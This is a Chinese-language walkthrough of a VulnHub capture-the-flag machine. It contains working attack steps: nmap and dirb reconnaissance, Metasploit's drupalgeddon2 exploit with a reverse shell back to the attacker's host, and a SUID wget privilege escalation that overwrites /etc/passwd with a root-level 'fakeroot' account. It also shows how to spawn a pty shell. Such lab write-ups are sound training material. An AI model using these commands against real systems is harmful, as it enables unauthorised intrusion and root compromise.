01 环境搭建
- 靶机环境下载:https://www.vulnhub.com/entry/hacknos-os-hacknos,401/
- 题目信息如下,难度中等偏下,需要获取俩个flag
Difficulty : Easy to Intermediate
Flag : 2 Flag first user And second root
Learning : exploit | Web Application | Enumeration | Privilege Escalation
Website : www.hackNos.com
mail : [email protected]
02 信息收集
将靶机环境恢复到virtualbox
之后,开始第一步信息收集工作。
发现靶机
查看攻击机Kali的ip为192.168.56.1
(环境恢复时采用Host-Only Adapter)
使用nmap
扫描网段内的ip地址
nmap -sP 192.168.56.0/24
扫描发现的192.168.56.102
就是目标靶机的ip地址。
端口扫描
使用nmap
对目标靶机开放的端口进行扫描
nmap -Pn -n -sV 192.168.56.102
发现目标靶机仅开放了两个tcp端口,22和80。
遍历目录
访问80端口,发现只是一个Apache的页面。没有其他信息。
使用dirb
命令,对靶机的目录进行遍历。
dirb http://192.168.56.102
发现靶机开启了drupal
服务。搜索发现,drupal
是使用PHP语言编写的开源内容管理框架(CMF),且历史版本有被发现高危CVE漏洞。
03 漏洞利用
使用metasploit
搜索drupal
的POC
挨个尝试每个漏洞的POC,最终找到exploit/unix/webapp/drupal_drupalgeddon2
可以攻击成功。
use unix/webapp/drupal_drupalgeddon2
show payloads
set payload generic/shell_reverse_tcp
options
set RHOST 192.168.56.102
set LHOST 192.168.56.1
set TARGETURI drupal
check
反弹回来的shell是一个低权限用户www-data
,无法获取任何的flag。
而且无法切换目录,只能在/var/www/html/drupal
目录下,需要运行bash
后可以进行相对正常的操作。
获取flag1
查看home
目录,发现存在一个james
用户,在其目录下有user.txt
文件,里面存有flag1。
04 提权
继续查看文件系统中可疑的文件。发现在/var/www/html
目录下有一个alexander.txt
文件。查看发现是一段base64
编码的密文。
用base64解密后是一段奇怪的符号。查询发现是brainfuck
语言。
+++++ +++++ [->++ +++++ +++<] >++++ ++.-- ----- --.<+ ++[-> +++<] >+++.
----- ---.< +++[- >+++< ]>+++ ++.<+ +++++ +[->- ----- -<]>- ----- --.<+
++[-> +++<] >++++ +.<++ +++[- >++++ +<]>. ++.++ +++++ +.--- ---.< +++[-
>+++< ]>+++ +.<++ +++++ [->-- ----- <]>-. <+++[ ->--- <]>-- -.+.- ---.+
++.<
在http://ctf.ssleye.com/brain.html中在线解密,得到结果james:Hacker@4514
。很像是james
的SSH账户。尝试登录,发现无法登录成功。
SUID
搜索带有SUID
的程序,查看是否可以被利用提权的。
find / -user root -perm -4000 -print 2>/dev/null
在结果中发现wget
拥有SUID
权限。利用wget
,我们就可以更改任意文件。尝试更改/etc/passwd
,增加一个root权限的用户,然后再切换用户,就能达到提权的效果。
- 将
/etc/passwd
拷贝到drupal
目录下(当前用户只有该目录可写,且能通过web访问) - 访问
http://http://192.168.56.102/drupal/passwd
获取靶机的passwd
文件,并保存到本地; - 使用命令
openssl passwd
在本地生成一个密码hash,并将该密码写入passwd
文件中
openssl passwd -1 1234
echo 'fakeroot:$1$jPyX0Syz$Zql0xFFsz2lanKTMLv91d.:0:0::/root/:/bin/bash' >> passwd
- 在Kali起一个web服务,并在靶机上通过
wget
下载passwd
文件
python -m SimpleHTTPServer
wget http://192.168.56.1:8000/passwd -O /etc/passwd
- 由于该反弹shell不是一个全交互式终端,无法直接通过
su fakeroot
来切换用户。需要先伪造一个tty
终端(将普通shell升级为全交互式终端 )。查询发现靶机上存在python3
。
python3 -c "import pty;pty.spawn('/bin/bash');"
- 获取flag2